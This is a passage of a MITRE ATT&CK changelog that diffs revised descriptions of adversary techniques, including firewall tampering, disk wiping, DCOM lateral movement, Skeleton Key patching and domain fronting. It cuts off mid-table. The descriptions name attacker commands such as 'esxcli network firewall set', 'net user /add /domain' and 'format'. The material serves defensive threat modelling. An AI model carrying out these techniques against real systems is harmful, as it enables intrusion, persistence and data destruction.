|---|---|---|
| modified | 2026-05-12 15:12:00.662000+00:00 | 2026-11-04 01:09:33.773000+00:00 |
| description | Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data. Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks) | Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data. Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)).(Citation: Cisco Blog Legacy Device Attacks) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may disable or modify host-based or network fire | t | 1 | Adversaries may disable or modify host-based or network fire |
| > | walls to impair defensive mechanisms and enable further acti | > | walls to impair defensive mechanisms and enable further acti | ||
| > | on. Once an adversary has gathered sufficient privileges, th | > | on. Once an adversary has gathered sufficient privileges, th | ||
| > | ey can tamper with firewall services, policies, or rule sets | > | ey can tamper with firewall services, policies, or rule sets | ||
| > | to remove restrictions on inbound or outbound traffic. For | > | to remove restrictions on inbound or outbound traffic. For | ||
| > | example, this may include turning off firewall profiles, alt | > | example, this may include turning off firewall profiles, alt | ||
| > | ering existing rules to permit previously blocked ports or p | > | ering existing rules to permit previously blocked ports or p | ||
| > | rotocols, or adding new rules that create covert communicati | > | rotocols, or adding new rules that create covert communicati | ||
| > | on paths (e.g., adding a new firewall rule for a well-known | > | on paths (e.g., adding a new firewall rule for a well-known | ||
| > | protocol (such as RDP) using a non-traditional and potential | > | protocol (such as RDP) using a non-traditional and potential | ||
| > | ly less securitized port.(Citation: change_rdp_port_conti) | > | ly less secure port).(Citation: change_rdp_port_conti) Adve | ||
| > | Adversaries may disable or modify firewalls using different | > | rsaries may disable or modify firewalls using different beha | ||
| > | behaviors, depending on the platform. For example, in ESXi, | > | viors, depending on the platform. For example, in ESXi, fire | ||
| > | firewall rules may be modified directly via the esxcli (e.g. | > | wall rules may be modified directly via the esxcli (e.g., vi | ||
| > | , via esxcli network firewall set) or via the vCenter user i | > | a esxcli network firewall set) or via the vCenter user inter | ||
| > | nterface.(Citation: Broadcom ESXi Firewall)(Citation: Trelli | > | face.(Citation: Broadcom ESXi Firewall)(Citation: Trellix Rn | ||
| > | x Rnasomhouse 2024) | > | asomhouse 2024) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.723000+00:00 | 2026-11-04 00:12:22.539000+00:00 |
| description | Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic. For example, this may include turning off firewall profiles, altering existing rules to permit previously blocked ports or protocols, or adding new rules that create covert communication paths (e.g., adding a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port.(Citation: change_rdp_port_conti) Adversaries may disable or modify firewalls using different behaviors, depending on the platform. For example, in ESXi, firewall rules may be modified directly via the esxcli (e.g., via esxcli network firewall set) or via the vCenter user interface.(Citation: Broadcom ESXi Firewall)(Citation: Trellix Rnasomhouse 2024) | Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic. For example, this may include turning off firewall profiles, altering existing rules to permit previously blocked ports or protocols, or adding new rules that create covert communication paths (e.g., adding a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less secure port).(Citation: change_rdp_port_conti) Adversaries may disable or modify firewalls using different behaviors, depending on the platform. For example, in ESXi, firewall rules may be modified directly via the esxcli (e.g., via esxcli network firewall set) or via the vCenter user interface.(Citation: Broadcom ESXi Firewall)(Citation: Trellix Rnasomhouse 2024) |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may corrupt or wipe the disk data structures on | t | 1 | Adversaries may corrupt or wipe the disk data structures on |
| > | a hard drive necessary to boot a system; targeting specific | > | a hard drive necessary to boot a system; targeting specific | ||
| > | critical systems or in large numbers in a network to interru | > | critical systems or in large numbers in a network to interru | ||
| > | pt availability to system and network resources. Adversari | > | pt availability to system and network resources. Adversari | ||
| > | es may attempt to render the system unable to boot by overwr | > | es may attempt to render the system unable to boot by overwr | ||
| > | iting critical data located in structures such as the master | > | iting critical data located in structures such as the master | ||
| > | boot record (MBR) or partition table.(Citation: Symantec Sh | > | boot record (MBR) or partition table.(Citation: Symantec Sh | ||
| > | amoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Pa | > | amoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Pa | ||
| > | lo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 201 | > | lo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 201 | ||
| > | 7)(Citation: Unit 42 Shamoon3 2018) The data contained in di | > | 7)(Citation: Unit 42 Shamoon3 2018) The data contained in di | ||
| > | sk structures may include the initial executable code for lo | > | sk structures may include the initial executable code for lo | ||
| > | ading an operating system or the location of the file system | > | ading an operating system or the location of the file system | ||
| > | partitions on disk. If this information is not present, the | > | partitions on disk. If this information is not present, the | ||
| > | computer will not be able to load an operating system durin | > | computer will not be able to load an operating system durin | ||
| > | g the boot process, leaving the computer unavailable. [Disk | > | g the boot process, leaving the computer unavailable. [Disk | ||
| > | Structure Wipe](https://attack.mitre.org/techniques/T1561/00 | > | Structure Wipe](https://attack.mitre.org/techniques/T1561/00 | ||
| > | 2) may be performed in isolation, or along with [Disk Conten | > | 2) may be performed in isolation, or along with [Disk Conten | ||
| > | t Wipe](https://attack.mitre.org/techniques/T1561/001) if al | > | t Wipe](https://attack.mitre.org/techniques/T1561/001) if al | ||
| > | l sectors of a disk are wiped. On a network devices, advers | > | l sectors of a disk are wiped. On a network device, adversa | ||
| > | aries may reformat the file system using [Network Device CLI | > | ries may reformat the file system using [Network Device CLI] | ||
| > | ](https://attack.mitre.org/techniques/T1059/008) commands su | > | (https://attack.mitre.org/techniques/T1059/008) commands suc | ||
| > | ch as `format`.(Citation: format_cmd_cisco) To maximize imp | > | h as `format`.(Citation: format_cmd_cisco) To maximize impa | ||
| > | act on the target organization, malware designed for destroy | > | ct on the target organization, malware designed for destroyi | ||
| > | ing disk structures may have worm-like features to propagate | > | ng disk structures may have worm-like features to propagate | ||
| > | across a network by leveraging other techniques like [Valid | > | across a network by leveraging other techniques like [Valid | ||
| > | Accounts](https://attack.mitre.org/techniques/T1078), [OS C | > | Accounts](https://attack.mitre.org/techniques/T1078), [OS Cr | ||
| > | redential Dumping](https://attack.mitre.org/techniques/T1003 | > | edential Dumping](https://attack.mitre.org/techniques/T1003) | ||
| > | ), and [SMB/Windows Admin Shares](https://attack.mitre.org/t | > | , and [SMB/Windows Admin Shares](https://attack.mitre.org/te | ||
| > | echniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citat | > | chniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citati | ||
| > | ion: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon N | > | on: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon No | ||
| > | ov 2016)(Citation: Kaspersky StoneDrill 2017) | > | v 2016)(Citation: Kaspersky StoneDrill 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.620000+00:00 | 2026-11-03 21:59:50.203000+00:00 |
| description | Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped. On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco) To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) | Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped. On a network device, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco) To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Sysmon v6 May 2017', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon'} |
Current version: 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to interact with remote machines by taki | > | g/techniques/T1078) to interact with remote machines by taki | ||
| > | ng advantage of Distributed Component Object Model (DCOM). T | > | ng advantage of Distributed Component Object Model (DCOM). T | ||
| > | he adversary may then perform actions as the logged-on user. | > | he adversary may then perform actions as the logged-on user. | ||
| > | The Windows Component Object Model (COM) is a component of | > | The Windows Component Object Model (COM) is a component of | ||
| > | the native Windows application programming interface (API) | > | the native Windows application programming interface (API) | ||
| > | that enables interaction between software objects, or execut | > | that enables interaction between software objects, or execut | ||
| > | able code that implements one or more interfaces. Through CO | > | able code that implements one or more interfaces. Through CO | ||
| > | M, a client object can call methods of server objects, which | > | M, a client object can call methods of server objects, which | ||
| > | are typically Dynamic Link Libraries (DLL) or executables ( | > | are typically Dynamic Link Libraries (DLL) or executables ( | ||
| > | EXE). Distributed COM (DCOM) is transparent middleware that | > | EXE). Distributed COM (DCOM) is transparent middleware that | ||
| > | extends the functionality of COM beyond a local computer usi | > | extends the functionality of COM beyond a local computer usi | ||
| > | ng remote procedure call (RPC) technology.(Citation: Fireeye | > | ng remote procedure call (RPC) technology.(Citation: Fireeye | ||
| > | Hunting COM June 2019)(Citation: Microsoft COM) Permission | > | Hunting COM June 2019)(Citation: Microsoft COM) Permission | ||
| > | s to interact with local and remote server COM objects are s | > | s to interact with local and remote server COM objects are s | ||
| > | pecified by access control lists (ACL) in the Registry.(Cita | > | pecified by access control lists (ACL) in the Registry.(Cita | ||
| > | tion: Microsoft Process Wide Com Keys) By default, only Admi | > | tion: Microsoft Process Wide Com Keys) By default, only Admi | ||
| > | nistrators may remotely activate and launch COM objects thro | > | nistrators may remotely activate and launch COM objects thro | ||
| > | ugh DCOM.(Citation: Microsoft COM ACL) Through DCOM, advers | > | ugh DCOM.(Citation: Microsoft COM ACL) Through DCOM, advers | ||
| > | aries operating in the context of an appropriately privilege | > | aries operating in the context of an appropriately privilege | ||
| > | d user can remotely obtain arbitrary and even direct shellco | > | d user can remotely obtain arbitrary and even direct shellco | ||
| > | de execution through Office applications(Citation: Enigma Ou | > | de execution through Office applications(Citation: Enigma Ou | ||
| > | tlook DCOM Lateral Movement Nov 2017) as well as other Windo | > | tlook DCOM Lateral Movement Nov 2017) as well as other Windo | ||
| > | ws objects that contain insecure methods.(Citation: Enigma M | > | ws objects that contain insecure methods.(Citation: Enigma M | ||
| > | MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja | > | MC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Ja | ||
| > | n 2017) DCOM can also execute macros in existing documents(C | > | n 2017) DCOM can also execute macros in existing documents(C | ||
| > | itation: Enigma Excel DCOM Sept 2017) and may also invoke [D | > | itation: Enigma Excel DCOM Sept 2017) and may also invoke [D | ||
| > | ynamic Data Exchange](https://attack.mitre.org/techniques/T1 | > | ynamic Data Exchange](https://attack.mitre.org/techniques/T1 | ||
| > | 559/002) (DDE) execution directly through a COM created inst | > | 559/002) (DDE) execution directly through a COM created inst | ||
| > | ance of a Microsoft Office application(Citation: Cyberreason | > | ance of a Microsoft Office application(Citation: Cyberreason | ||
| > | DCOM DDE Lateral Movement Nov 2017), bypassing the need for | > | DCOM DDE Lateral Movement Nov 2017), bypassing the need for | ||
| > | a malicious document. DCOM can be used as a method of remot | > | a malicious document. DCOM can be used as a method of remot | ||
| > | ely interacting with [Windows Management Instrumentation](ht | > | ely interacting with [Windows Management Instrumentation](ht | ||
| > | tps://attack.mitre.org/techniques/T1047). (Citation: MSDN WM | > | tps://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI | ||
| > | I) | > | ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:53.724000+00:00 | 2026-11-04 00:15:24.009000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a domain account to maintain access t | t | 1 | Adversaries may create a domain account to maintain access t |
| > | o victim systems. Domain accounts are those managed by Activ | > | o victim systems. Domain accounts are those managed by Activ | ||
| > | e Directory Domain Services where access and permissions are | > | e Directory Domain Services where access and permissions are | ||
| > | configured across systems and services that are part of tha | > | configured across systems and services that are part of tha | ||
| > | t domain. Domain accounts can cover user, administrator, and | > | t domain. Domain accounts can cover user, administrator, and | ||
| > | service accounts. With a sufficient level of access, the <c | > | service accounts. With a sufficient level of access, the <c | ||
| > | ode>net user /add /domain</code> command can be used to crea | > | ode>net user /add /domain</code> command can be used to crea | ||
| > | te a domain account.(Citation: Savill 1999) Such accounts m | > | te a domain account.(Citation: Savill 1999) Such accounts m | ||
| > | ay be used to establish secondary credentialed access that d | > | ay be used to establish secondary credentialed access that d | ||
| > | o not require persistent remote access tools to be deployed | > | oes not require persistent remote access tools to be deploye | ||
| > | on the system. | > | d on the system. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:57.883000+00:00 | 2026-11-04 03:17:03.984000+00:00 |
| description | Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. | Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)
Such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'} |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may patch the authentication process on a domain | t | 1 | Adversaries may patch the authentication process on a domain |
| > | controller to bypass the typical authentication mechanisms | > | controller to bypass the typical authentication mechanisms | ||
| > | and enable access to accounts. Malware may be used to inje | > | and enable access to accounts. Malware may be used to inje | ||
| > | ct false credentials into the authentication process on a do | > | ct false credentials into the authentication process on a do | ||
| > | main controller with the intent of creating a backdoor used | > | main controller with the intent of creating a backdoor used | ||
| > | to access any user’s account and/or credentials (ex: [Skelet | > | to access any user’s account and/or credentials (ex: [Skelet | ||
| > | on Key](https://attack.mitre.org/software/S0007)). Skeleton | > | on Key](https://attack.mitre.org/software/S0007)). Skeleton | ||
| > | key works through a patch on an enterprise domain controller | > | key works through a patch on an enterprise domain controller | ||
| > | authentication process (LSASS) with credentials that advers | > | authentication process (LSASS) with credentials that advers | ||
| > | aries may use to bypass the standard authentication system. | > | aries may use to bypass the standard authentication system. | ||
| > | Once patched, an adversary can use the injected password to | > | Once patched, an adversary can use the injected password to | ||
| > | successfully authenticate as any domain user account (until | > | successfully authenticate as any domain user account (until | ||
| > | the the skeleton key is erased from memory by a reboot of th | > | the skeleton key is erased from memory by a reboot of the do | ||
| > | e domain controller). Authenticated access may enable unfett | > | main controller). Authenticated access may enable unfettered | ||
| > | ered access to hosts and/or resources within single-factor a | > | access to hosts and/or resources within single-factor authe | ||
| > | uthentication environments.(Citation: Dell Skeleton) | > | ntication environments.(Citation: Dell Skeleton) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.717000+00:00 | 2026-11-03 23:26:50.922000+00:00 |
| description | Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton) | Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton) |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may take advantage of routing schemes in Content | t | 1 | Adversaries may take advantage of routing schemes in Content |
| > | Delivery Networks (CDNs) and other services which host mult | > | Delivery Networks (CDNs) and other services which host mult | ||
| > | iple domains to obfuscate the intended destination of HTTPS | > | iple domains to obfuscate the intended destination of HTTPS | ||
| > | traffic or traffic tunneled through HTTPS. (Citation: Fifiel | > | traffic or traffic tunneled through HTTPS.(Citation: Fifield | ||
| > | d Blocking Resistent Communication through domain fronting 2 | > | Blocking Resistent Communication through domain fronting 20 | ||
| > | 015) Domain fronting involves using different domain names i | > | 15) Domain fronting involves using different domain names in | ||
| > | n the SNI field of the TLS header and the Host field of the | > | the SNI field of the TLS header and the Host field of the H | ||
| > | HTTP header. If both domains are served from the same CDN, t | > | TTP header. If both domains are served from the same CDN, th | ||
| > | hen the CDN may route to the address specified in the HTTP h | > | en the CDN may route to the address specified in the HTTP he | ||
| > | eader after unwrapping the TLS header. A variation of the th | > | ader after unwrapping the TLS header. A variation of the tec | ||
| > | e technique, "domainless" fronting, utilizes a SNI field tha | > | hnique, "domainless" fronting, utilizes a SNI field that is | ||
| > | t is left blank; this may allow the fronting to work even wh | > | left blank; this may allow the fronting to work even when th | ||
| > | en the CDN attempts to validate that the SNI and HTTP Host f | > | e CDN attempts to validate that the SNI and HTTP Host fields | ||
| > | ields match (if the blank SNI fields are ignored). For exam | > | match (if the blank SNI fields are ignored). For example, | ||
| > | ple, if domain-x and domain-y are customers of the same CDN, | > | if domain-x and domain-y are customers of the same CDN, it i | ||
| > | it is possible to place domain-x in the TLS header and doma | > | s possible to place domain-x in the TLS header and domain-y | ||
| > | in-y in the HTTP header. Traffic will appear to be going to | > | in the HTTP header. Traffic will appear to be going to domai | ||
| > | domain-x, however the CDN may route it to domain-y. | > | n-x; however, the CDN may route it to domain-y. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:23.135000+00:00 | 2026-11-04 00:26:10.170000+00:00 |
| description | Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y. | Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.(Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x; however, the CDN may route it to domain-y. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 4.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify the configuration settings of a domai | t | 1 | Adversaries may modify the configuration settings of a domai |
| > | n or identity tenant to evade defenses and/or escalate privi | > | n or identity tenant to evade defenses and/or escalate privi | ||
| > | leges in centrally managed environments. Such services provi | > | leges in centrally managed environments. Such services provi | ||
| > | de a centralized means of managing identity resources such a | > | de a centralized means of managing identity resources such a | ||
| > | s devices and accounts, and often include configuration sett | > | s devices and accounts, and often include configuration sett | ||
| > | ings that may apply between domains or tenants such as trust | > | ings that may apply between domains or tenants such as trust | ||
| > | relationships, identity syncing, or identity federation. M | > | relationships, identity syncing, or identity federation. M | ||
| > | odifications to domain or tenant settings may include alteri | > | odifications to domain or tenant settings may include alteri | ||
| > | ng domain Group Policy Objects (GPOs) in Microsoft Active Di | > | ng domain Group Policy Objects (GPOs) in Microsoft Active Di | ||
| > | rectory (AD) or changing trust settings for domains, includi | > | rectory (AD) or changing trust settings for domains, includi | ||
| > | ng federation trusts relationships between domains or tenant | > | ng federation trust relationships between domains or tenants | ||
| > | s. With sufficient permissions, adversaries can modify doma | > | . With sufficient permissions, adversaries can modify domai | ||
| > | in or tenant policy settings. Since configuration settings f | > | n or tenant policy settings. Since configuration settings fo | ||
| > | or these services apply to a large number of identity resour | > | r these services apply to a large number of identity resourc | ||
| > | ces, there are a great number of potential attacks malicious | > | es, there are a great number of potential malicious outcomes | ||
| > | outcomes that can stem from this abuse. Examples of such ab | > | that can stem from this abuse. Examples of such abuse inclu | ||
| > | use include: * modifying GPOs to push a malicious [Schedu | > | de: * modifying GPOs to push a malicious [Scheduled Task] | ||
| > | led Task](https://attack.mitre.org/techniques/T1053/005) to | > | (https://attack.mitre.org/techniques/T1053/005) to computers | ||
| > | computers throughout the domain environment(Citation: ADSecu | > | throughout the domain environment(Citation: ADSecurity GPO | ||
| > | rity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Ci | > | Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: H | ||
| > | tation: Harmj0y Abusing GPO Permissions) * modifying domain | > | armj0y Abusing GPO Permissions) * modifying domain trusts to | ||
| > | trusts to include an adversary-controlled domain, allowing a | > | include an adversary-controlled domain, allowing adversarie | ||
| > | dversaries to forge access tokens that will subsequently be | > | s to forge access tokens that will subsequently be accepted | ||
| > | accepted by victim domain resources(Citation: Microsoft - C | > | by victim domain resources(Citation: Microsoft - Customer G | ||
| > | ustomer Guidance on Recent Nation-State Cyber Attacks) * cha | > | uidance on Recent Nation-State Cyber Attacks) * changing con | ||
| > | nging configuration settings within the AD environment to im | > | figuration settings within the AD environment to implement a | ||
| > | plement a [Rogue Domain Controller](https://attack.mitre.org | > | [Rogue Domain Controller](https://attack.mitre.org/techniqu | ||
